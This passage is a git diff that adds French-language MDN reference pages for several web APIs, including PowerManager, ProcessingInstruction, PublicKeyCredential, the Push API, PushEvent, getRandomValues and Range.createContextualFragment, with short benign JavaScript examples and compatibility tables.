+<p>{{Compat("api.PositionOptions.timeout")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/WebAPI/Using_geolocation">Utiliser la géolocalisation</a></li>
+ <li>L'interface {{domxref("PositionOptions")}} auquel il appartient.</li>
+</ul>
diff --git a/files/fr/web/api/powermanager/index.html b/files/fr/web/api/powermanager/index.html
new file mode 100644
index 0000000000..184b07310f
--- /dev/null
+++ b/files/fr/web/api/powermanager/index.html
@@ -0,0 +1,109 @@
+---
+title: PowerManager
+slug: Web/API/PowerManager
+tags:
+  - API
+  - B2G
+  - Firefox OS
+  - Non-standard
+  - Power Management
+  - Reference
+  - WebAPI
+translation_of: Archive/B2G_OS/API/MozPowerManager
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<p>L'interface PowerManager permet de contrôler explicitement les composants de l'appareil consommant de l'énergie.</p>
+<h2 id="Présentation_de_l'interface">Présentation de l'interface</h2>
+<pre class="brush: js"><code class="idl-code">callback wakeLockListener = void (DOMString topic, DOMString state);</code>
+
+interface PowerManager
+{
+  attribute boolean cpuSleepAllowed
+  attribute double screenBrightness
+  attribute boolean screenEnabled
+
+  void addWakeLockListener(wakeLockListener listener);
+  void factoryReset();
+  DOMString getWakeLockState(DOMString topic)
+  void powerOff();
+  void reboot();
+  void removeWakeLockListener(wakeLockListener listener);
+};</pre>
+<h2 id="Propriétés">Propriétés</h2>
+<dl>
+ <dt>
+  {{domxref("PowerManager.screenEnabled")}}</dt>
+ <dd>
+  Cette propriété est un booléen permettant de consulter ou définir l'état de l'écran de l'appareil. <code>true</code> correspond à un écran actif <code>false</code> à un écran éteint.</dd>
+ <dt>
+  {{domxref("PowerManager.screenBrightness")}}</dt>
+ <dd>
+  Cette propriété définit la luminosité du rétro-éclairage de l'écran sur une échelle de 0 (min) à 1 (max). Définir cet attribut modifie la luminosité de l'écran.</dd>
+ <dt>
+  {{domxref("PowerManager.cpuSleepAllowed")}}</dt>
+ <dd>
+  Cette propriété détermine si le processeur de l'appareil passera en veille après l'extinction de l'écran. Définir cet attribut à <code>false</code> inhibe la mise en veille du processeur de l'appareil.</dd>
+</dl>
+<h2 id="Méthodes">Méthodes</h2>
+<dl>
+ <dt>
+  {{domxref("PowerManager.addWakeLockListener()")}}</dt>
+ <dd>
+  Enregistre un gestionnaire d'événements qui sera appelé à chaque changement d'état par rapport à la mise en veille de la ressource donnée.</dd>
+ <dt>
+  {{domxref("PowerManager.factoryReset()")}}</dt>
+ <dd>
+  Appeler cette méthode reconfigure l'appareil dans sa configuration usine (toutes les données utilisateurs seront perdues).</dd>
+ <dt>
+  {{domxref("PowerManager.getWakeLockState()")}}</dt>
+ <dd>
+  Retourne l'état de verrouillage d'une ressource donnée de l'appareil.</dd>
+ <dt>
+  {{domxref("PowerManager.powerOff()")}}</dt>
+ <dd>
+  Appeler cette méthode éteint l'appareil.</dd>
+ <dt>
+  {{domxref("PowerManager.reboot()")}}</dt>
+ <dd>
+  Cette méthode éteint l'appareil et le redémarre.</dd>
+ <dt>
+  {{domxref("PowerManager.removeWakeLockListener()")}}</dt>
+ <dd>
+  Permet de retirer un gestionnaire d'événements défini précédemment avec {{domxref("PowerManager.addWakeLockListener()","addWakeLockListener")}}.</dd>
+</dl>
+<h2 id="Specification" name="Specification">Exemple</h2>
+<pre class="brush: js">var screenTimeout;
+var power = window.navigator.mozPower;
+var powerAction = {
+  unlocked: function suspendDevice() {
+    power.<code>cpuSleepAllowed = true;</code>
+    power.screenEnabled   = false;
+  },
+
+  'locked-background': function shutOffOnlyScreen() {
+    power.<code>cpuSleepAllowed = false;</code>
+    power.screenEnabled   = false;
+  }
+}
+
+function screenLockListener(topic, state) {
+  if ('screen' !== topic) return;
+
+  window.clearTimeout(screenTimeout);
+
+  if (powerAction[state]) {
+    screenTimeout = window.setTimeout(powerAction[state], 3000);
+  }
+}
+
+power.addWakeLockListener(screenLockListener);
+</pre>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<p>Cette API ne fait partie d'aucune spécification.</p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>{{ domxref("window.navigator.mozPower","navigator.mozPower") }}</li>
+ <li>{{ domxref("window.navigator.requestWakeLock()","navigator.requestWakeLock()") }}</li>
+</ul>
diff --git a/files/fr/web/api/processinginstruction/index.html b/files/fr/web/api/processinginstruction/index.html
new file mode 100644
index 0000000000..a3f73f97c0
--- /dev/null
+++ b/files/fr/web/api/processinginstruction/index.html
@@ -0,0 +1,43 @@
+---
+title: ProcessingInstruction
+slug: Web/API/ProcessingInstruction
+tags:
+  - API
+  - DOM
+  - Interface
+  - Noeuds
+  - Traitement
+  - XML
+  - instructions
+translation_of: Web/API/ProcessingInstruction
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Une <strong>instruction de traitement</strong> intègre des instructions spécifiques à une application en <a href="/en-US/docs/Glossary/XML">XML</a> qui peuvent être ignorées par d'autres applications (ne les reconnaissant pas). Même si un processeur XML ignore les instructions de traitement, il leur donnera une place dans le DOM.</p>
+
+<p>Une instruction de traitement est différente de la <a href="/en/XML/XML_Declaration">déclaration XML</a>, qui fournit des informations sur le document telles que le codage des caractères et ne peut apparaître que comme le premier élément d'un document.</p>
+
+<p>Les instructions de traitement définies par l'utilisateur ne peuvent pas commencer par '<code>xml</code>', car ceux-ci sont réservés (par exemple <code><a href="/en/XML/xml-stylesheet">&lt;?xml-stylesheet ?&gt;</a></code>).</p>
+
+<p>Les instructions de traitement héritent des méthodes et propriétés de <a class="internal" href="https://developer.mozilla.org/fr/docs/Web/API/Node"><code>Node</code></a>.</p>
+
+<p>{{InheritanceDiagram(700,70)}}</p>
+
+<h3 id="Attributes" name="Attributes">Attributs</h3>
+
+<ul>
+ <li>target (<em>cible</em>) (DOMString) (<em>chaîne de caractères</em>) - après le <code>&lt;?</code> et avant un <a href="https://developer.mozilla.org/fr/docs/Gestion_des_espaces_dans_le_DOM">whitespace</a> (<em>espace</em>) le séparant des <code>data</code> (<em>données</em>)</li>
+ <li>data (<em>données</em>) (DOMString) (<em>chaîne de caractères</em>) - premier caractère non espace après <code>target</code> et avant <code>?&gt;</code></li>
+</ul>
+
+<h3 id="Specification" name="Specification">Spécification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#ID-1004215813">DOM Level 1 Core : ProcessingInstruction interface</a></li>
+</ul>
+
+<h3 id="See_also" name="See_also">Voir aussi</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document/createProcessingInstruction">document.createProcessingInstruction</a></li>
+</ul>
diff --git a/files/fr/web/api/publickeycredential/index.html b/files/fr/web/api/publickeycredential/index.html
new file mode 100644
index 0000000000..cb2ff93ec5
--- /dev/null
+++ b/files/fr/web/api/publickeycredential/index.html
@@ -0,0 +1,74 @@
+---
+title: PublicKeyCredential
+slug: Web/API/PublicKeyCredential
+tags:
+  - API
+  - Interface
+  - PublicKeyCredential
+  - Reference
+  - Web Authentication API
+  - WebAuthn
+translation_of: Web/API/PublicKeyCredential
+---
+<p>{{APIRef("Web Authentication API")}}{{securecontext_header}}</p>
+
+<p>L'interface <code><strong>PublicKeyCredential</strong></code> fournit des informations relative à la paire constituée par une clé publique et une clé privée. Cette paire constitue une information d'authentification qui permet de se connecter à un service en utilisant un paire de clé asymétrique (permettant de prévenir les attaques par <em>phishing</em> ou liées à des fuites de données).</p>
+
+<p>Cette interface hérite de {{domxref("Credential")}} et a été créée pour l'<a href="/fr/docs/Web/API/Web_Authentication_API">API Web Authentication</a> qui étend <a href="/fr/docs/Web/API/Credential_Management_API">l'API Credential Management</a>.</p>
+
+<p>Les autres interfaces qui héritent de {{domxref("Credential")}} sont :</p>
+
+<ul>
+ <li>{{domxref("PasswordCredential")}}</li>
+ <li>{{domxref("FederatedCredential")}}.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("PublicKeyCredential.type")}} {{ReadOnlyInline()}}</dt>
+ <dd>Propriété héritée depuis {{domxref("Credential")}}. Dans le cas de <code>PublicKeyCredentials</code>, cette propriété vaut toujours <code>"public-key"</code>.</dd>
+ <dt>{{domxref("PublicKeyCredential.id")}} {{ReadOnlyInline()}}</dt>
+ <dd>Propriété héritée depuis {{domxref("Credential")}} et surchargée afin de correspondre à l'<a href="/fr/docs/Web/API/WindowBase64/Décoder_encoder_en_base64">encodage en base64url</a> de <code>PublicKeyCredential.rawId</code>.</dd>
+ <dt>{{domxref("PublicKeyCredential.rawId")}} {{ReadOnlyInline()}}</dt>
+ <dd>Un objet {{domxref("ArrayBuffer")}} qui contient l'identifiant unique global/universel pour cette instance <code>PublicKeyCredential</code>. Cet identifiant peut être utilisé afin de rechercher les informations d'authentification avec les futurs appels à {{domxref("CredentialsContainer.get")}}.</dd>
+ <dt>{{domxref("PublicKeyCredential.response")}} {{ReadOnlyInline()}}</dt>
+ <dd>Une instance {{domxref("AuthenticatorResponse")}}. Cette instance est de type :
+ <ul>
+  <li>{{domxref("AuthenticatorAttestationResponse")}} si l'objet <code>PublicKeyCredential</code> a été créé grâce à un appel à <code><a href="/fr/docs/Web/API/CredentialsContainer/create">create()</a></code></li>
+  <li>{{domxref("AuthenticatorAssertionResponse")}} si l'objet <code>PublicKeyCredential</code> a été créé grâce à un appel à <code><a href="/fr/docs/Web/API/CredentialsContainer/get">get()</a></code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("PublicKeyCredential.getClientExtensionResults()")}}</dt>
+ <dd>Si au moins une extension est demandée, cette méthode renverra le résultat du traitement de ces extensions.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PublicKeyCredential")}}</p>
diff --git a/files/fr/web/api/push_api/index.html b/files/fr/web/api/push_api/index.html
new file mode 100644
index 0000000000..968bc0df7c
--- /dev/null
+++ b/files/fr/web/api/push_api/index.html
@@ -0,0 +1,123 @@
+---
+title: Push API
+slug: Web/API/Push_API
+tags:
+  - API
+  - Chargement
+  - Experimental
+  - Notifications
+  - Push
+  - Reference
+  - Service Workers
+translation_of: Web/API/Push_API
+---
+<div>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</div>
+
+<p>L' <strong>API Push </strong> donne aux applications web la possibilité de recevoir des messages qui leur sont poussés depuis un serveur, qu'il s'agisse ou non d'une application active au premier plan, ou même actuellement chargée, sur un agent utilisateur. Ceci permet aux développeurs de délivrer des notifications asynchrones et des mises-à-jour aux utilisateurs qui le choisissent, entrainant un meilleur engagement [de l'utilisateur] avec du nouveau contenu au moment opportun.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Cette documentation couvre les spécifications W3C de l'API Push; si vous recherchez la documentation du système propriétaire de Push de Firefox OS, merci de vous reporter à <a href="/fr/docs/Web/API/Simple_Push_API">Simple Push</a>.</p>
+</div>
+
+<h2 id="Concepts_et_usages_de_Push">Concepts et usages de Push</h2>
+
+<div class="warning">
+<p>Lors de la mise en œuvre des abonnements PushManager, il est d'une importance vitale de se protéger contre les problèmes de CSRF/XSRF dans votre application. Voir les articles suivants pour plus d'informations :</p>
+
+<ul>
+ <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">Feuille de prévention contre les Cross-Site Request Forgery (CSRF)</a><sup> (en)</sup></li>
+ <li><a href="https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/">Prévention conte les attaques CSRF et XSRF</a> <sup>(en)</sup></li>
+</ul>
+</div>
+
+<p>Pour qu'une application web puisse recevoir des messages Push, elle doit avoir un <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a> actif. Quand le service worker est actif, on peut souscrire aux notifications Push en utilisant {{domxref("PushManager.subscribe()")}}.</p>
+
+<p>L'élément {{domxref("PushSubscription")}} qui en résulte inclut toutes les informations dont l'application a besoin pour transmettre un message Push: un point de terminaison et la clé de chiffrement nécessaire à l'envoi des données.</p>
+
+<p>Le service worker sera démarré, comme nécessaire, pour réceptionner les messages Push, qui sont délivrés au gestionnaire d'évènement {{domxref("ServiceWorkerGlobalScope.onpush")}}. Ceci permet aux applications de réagir au message Push reçu, par exemple en affichant une notification (en utilisant {{domxref("ServiceWorkerRegistration.showNotification()")}}.)</p>
+
+<p>Chaque souscription est unique à un service worker. Le point de terminaison de la souscription est une <a class="external" href="http://www.w3.org/TR/capability-urls/">URL fonctionnelle</a> unique: la connaissance du point de terminaison est tout ce qui est nécessaire pour envoyer un message à votre application. L'URL du point de terminaison doit cependant rester secrète, sinon d'autres applications seront capables d'envoyer des messages Push à votre application.</p>
+
+<p>Activer un service worker pour délivrer un message Push peut accroître l'utilisation des ressources, particulièrement de la batterie. Les différents navigateurs ont des régimes différents pour gèrer ça — Il n'y a pas de mécanisme standard. Firefox permet à un nombre limité (quota) de messages Push d'être envoyé à une application, cependant les messages Push qui générent les notifications sont exempts de cette limite. La limite est rafraichie chaque fois que le site est visité. En comparaison, Chrome n'applique pas de limites mais nécessite que chaque message Push lance une notification pour pouvoir être affiché.</p>
+
+<div class="note">
+<p><strong>Note</strong>: comme pour Gecko 44, le quota de messages Push par application n'est pas incrémenté quand une nouvelle notification se lance et qu'une autre est déjà visible, pendant une période de 3 secondes. Cela permet de gèrer le cas où une rafale de messages Push est reçue et qu'ils n'afficheraient pas tous une notification.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Chrome nécessite actuellement de configurer un projet sur <a class="external" href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> pour envoyer des messages Push et utilise le numero du projet associé ainsi que la clé durant l'envoi des messages Push. Il requiert aussi un manifeste applicatif avec des paramètres spéciaux pour utiliser ce service. Nous espérons que cette restriction sera supprimée dans le futur..</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Représente une action push envoyée à l'élément de <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">portée global</a> (global scope) d'un {{domxref("ServiceWorker")}}. Elle contient les informations envoyées depuis l'application à un {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Fournit un moyen de recevoir des notifications de serveurs tiers ainsi que de demander les URL pour les notifications Push. Cette interface remplace les fonctionnalités obsolètes de l'interface {{domxref("PushRegistrationManager")}}.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Fournit l'accès pour pousser des données transmises par un serveur et inclut des méthodes pour manipuler les données reçues.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Fournit une URL de point de terminaison et permet la désinscription à un service Push.</dd>
+</dl>
+
+<h2 id="Complément_au_Service_worker">Complément au Service worker</h2>
+
+<p>Les ajouts à <a href="/fr/docs/Web/API/Service_Worker_API">l'API Service Worker </a>suivants ont été spécifiés dans l'API Push, pour fournir un point d'entrée à l'utilisation de messages Push pour surveiller et répondre aux événements de changement liés aux messages push et aux souscriptions.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Retourne une référence de l'interface {{domxref("PushManager")}} pour gèrer les souscriptions push incluant la souscription, récupèrer une souscription existante, et accèder au statut des permissions push. C'est le point d'entrée dans l'utilisation de la communication push.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>Un gestionnaire d'événement lancé chaque fois qu'un événement {{Event("push")}} se produit ; c'est à chaque fois qu'un message push du serveur est reçu.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>Un gestionnaire d'événement lancé chaque fois qu'un événement {{Event("pushsubscriptionchange")}} se produit; par exemple, quand une souscription push a été invalidée, ou va être invalidée (c.à.d. quand un service push définit une durée d'expiration).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Push API")}}</td>
+   <td>{{Spec2("Push API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+<h3 id="PushEvent"><code>PushEvent</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.PushEvent")}}</p>
+
+<h3 id="PushMessageData"><code>PushMessageData</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.PushMessageData")}}</p>
+</div>
+</div>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API [EN]</a></li>
+ <li><a class="external" href="https://github.com/chrisdavidmills/push-api-demo">Démo API Push</a>, sur Github</li>
+ <li><a class="external" href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API">API Service Worker</a></li>
+</ul>
diff --git a/files/fr/web/api/pushevent/index.html b/files/fr/web/api/pushevent/index.html
new file mode 100644
index 0000000000..74d5cbc161
--- /dev/null
+++ b/files/fr/web/api/pushevent/index.html
@@ -0,0 +1,175 @@
+---
+title: PushEvent
+slug: Web/API/PushEvent
+tags:
+  - API
+  - ExtendableEvent
+  - Interface
+  - Push
+  - Push API
+  - Reference
+  - Service Workers
+  - Workers
+  - hors-ligne
+translation_of: Web/API/PushEvent
+---
+<p>{{APIRef("Push API")}}{{SeeCompatTable()}}</p>
+
+<p>L'interface <strong><code>PushEvent</code></strong> de l'<a href="/en-US/docs/Web/API/Push_API">API Push</a> représente un message Push qui a été reçu. Cet événement est envoyé au <a href="/fr/docs/Web/API/ServiceWorkerGlobalScope">scope global</a> d'un {{domxref("ServiceWorker")}}. Il contient les informations transmises de l'application serveur vers un {{domxref("PushSubscription")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent.PushEvent()")}}</dt>
+ <dd>Créer un nouvel objet <code>PushEvent</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("ExtendableEvent")}}. Propriétés additionnelles:</em></p>
+
+<dl>
+ <dt>{{domxref("PushEvent.data")}} {{readonlyinline}}</dt>
+ <dd>Retourne une référence à un objet {{domxref("PushMessageData")}} contenant les données transmises au <span>{{domxref("PushSubscription")}}.</span></dd>
+</dl>
+
+<p><strong style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Méthodes</strong></p>
+
+<p><em>Hérite des méthodes de son parent, {{domxref("ExtendableEvent")}}</em>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant prends les données du <code>PushEvent</code> et les affiche sur tous les clients du service worker.</p>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+  if (!(self.Notification &amp;&amp; self.notification.permission === 'granted')) {
+    return;
+  }
+
+  var data = {};
+  if (event.data) {
+    data = event.data.json();
+  }
+  var title = data.title || "Something Has Happened";
+  var message = data.message || "Here's something you might want to check out.";
+  var icon = "images/new-notification.png";
+
+  var notification = new Notification(title, {
+    body: message,
+    tag: 'simple-push-demo-notification',
+    icon: icon
+  });
+
+  notification.addEventListener('click', function() {
+    if (clients.openWindow) {
+      clients.openWindow('https://example.blog.com/2015/03/04/something-new.html');
+    }
+  });
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#the-push-event','PushEvent')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Définition intiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonction</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}<sup>[1][2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code> property</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonction</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>data</code> property</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Actuellement actif par défaut dans l'édition Nightly/Développeur Edition/Beta, mais pas sur le channel de Release ({{bug(1207875)}}.)</li>
+ <li>[2] Push (et <a href="/fr/docs/Web/API/Service_Worker_API">Service Workers</a>) ont été désactivés dans <a class="external" href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</li>
+ <li>[3] Push a été activé par défaut dans Firefox pour Android version 48.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Push_API/Using_the_Push_API">Utiliser l'API Push</a></li>
+ <li><a href="/fr/docs/Web/API/Push_API">API Push</a></li>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API">API Service Worker</a></li>
+</ul>
diff --git a/files/fr/web/api/randomsource/getrandomvalues/index.html b/files/fr/web/api/randomsource/getrandomvalues/index.html
new file mode 100644
index 0000000000..28682a0c2a
--- /dev/null
+++ b/files/fr/web/api/randomsource/getrandomvalues/index.html
@@ -0,0 +1,75 @@
+---
+title: RandomSource.getRandomValues()
+slug: Web/API/RandomSource/getRandomValues
+tags:
+  - API
+  - Cryptographie
+  - Methode(2)
+  - Méthode
+  - Reference
+  - Référence(2)
+translation_of: Web/API/Crypto/getRandomValues
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>La méthode <code><strong>RandomSource.getRandomValues()</strong></code> permet d’obtenir des valeurs pseudo-aléatoires cryptographiquement satisfaisantes. Le tableau donné en paramètre est rempli avec des nombres pseudo-aléatoires.</p>
+
+<p>Pour garantir une performance suffisante, les implémentations n’utilisent pas un vrai générateur de nombres aléatoires, mais un générateur de nombres pseudo-aléatoires <em>semé </em>avec une valeur ayant suffisamment d'{{Glossary("entropie")}}. Les générateurs utilisés d’une implémentation à une autre seront différents mais toujours satisfaisants pour une utilisation en cryptographie. Les implémentations doivent également utiliser une graine ayant suffisamment d’entropie, comme une source d’entropie au niveau du système.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>cryptoObj</em>.getRandomValues(<em>typedArray</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><em>typedArray</em></dt>
+ <dd>Un {{jsxref("TypedArray")}} de nombres entiers, qui est un {{jsxref("Int8Array")}}, un {{jsxref("Uint8Array")}}, un {{jsxref("Uint16Array")}}, un {{jsxref("Int32Array")}}, ou encore un {{jsxref("Uint32Array")}}. Tous les éléments du tableau seront subsitués avec des nombres aléatoires.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Une {{exception("QuotaExceededError")}} {{domxref("DOMException")}} est levée si la taille de la requête est plus grand que 65 536 octets.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">/* on part du principe ici que window.crypto.getRandomValues est disponible */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Your lucky numbers:");
+for (var i = 0; i &lt; array.length; i++) {
+    console.log(array[i]);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div id="compat-mobile">{{Compat("api.Crypto.getRandomValues")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} pour obtenir un objet {{domxref("Crypto")}}.</li>
+ <li>{{jsxref("Math.random")}}, une source non cryptographique de nombres aléatoires.</li>
+</ul>
diff --git a/files/fr/web/api/range/createcontextualfragment/index.html b/files/fr/web/api/range/createcontextualfragment/index.html
new file mode 100644
index 0000000000..fa9c86ae30
--- /dev/null
+++ b/files/fr/web/api/range/createcontextualfragment/index.html
@@ -0,0 +1,105 @@
+---
+title: Range.createContextualFragment()
+slug: Web/API/Range/createContextualFragment
+translation_of: Web/API/Range/createContextualFragment
+---
+<p>La méthode <strong><code>Range.createContextualFragment()</code></strong> retourne un {{domxref("DocumentFragment")}} en invoquant l’algorithme d’analyse de fragment HTML ou l’algorithme d’analyse de fragment XML, avec le début du <code>range</code> (le <em>parent</em> du nœud sélectionné) comme nœud de contexte. L’algorithme d’analyse de fragment HTML est utilisé si le <code>range</code> appartient à un <code>Document</code> dont le bit « HTMLness » est défini. Dans le cas du HTML, si le nœud de contexte est censé être <code>html</code>, pour des raisons historiques l’algorithme d’analyse de fragment est invoqué avec <code>body</code> pour contexte à la place.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>documentFragment</em> = <em>range</em>.createContextualFragment( <em>chaineHTML</em> )
+</pre>
+
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+
+<dl>
+ <dt><em>chaineHTML</em></dt>
+ <dd>Une chaîne contenant du texte et des balises à convertir en un fragment de document.</dd>
+</dl>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: js">var chaineHTML = "&lt;div&gt;Je suis un nœud div&lt;div&gt;";
+var range = document.createRange();
+// fait que le parent de la première div du document devient le nœud de contexte
+range.selectNode(document.getElementsByTagName("div").item(0));
+var documentFragment = range.createContextualFragment(chaineHTML);
+document.body.appendChild(documentFragment);
+</pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#idl-def-range-createcontextualfragment(domstring)', 'Range.createContextualFragment()')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Spécification initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
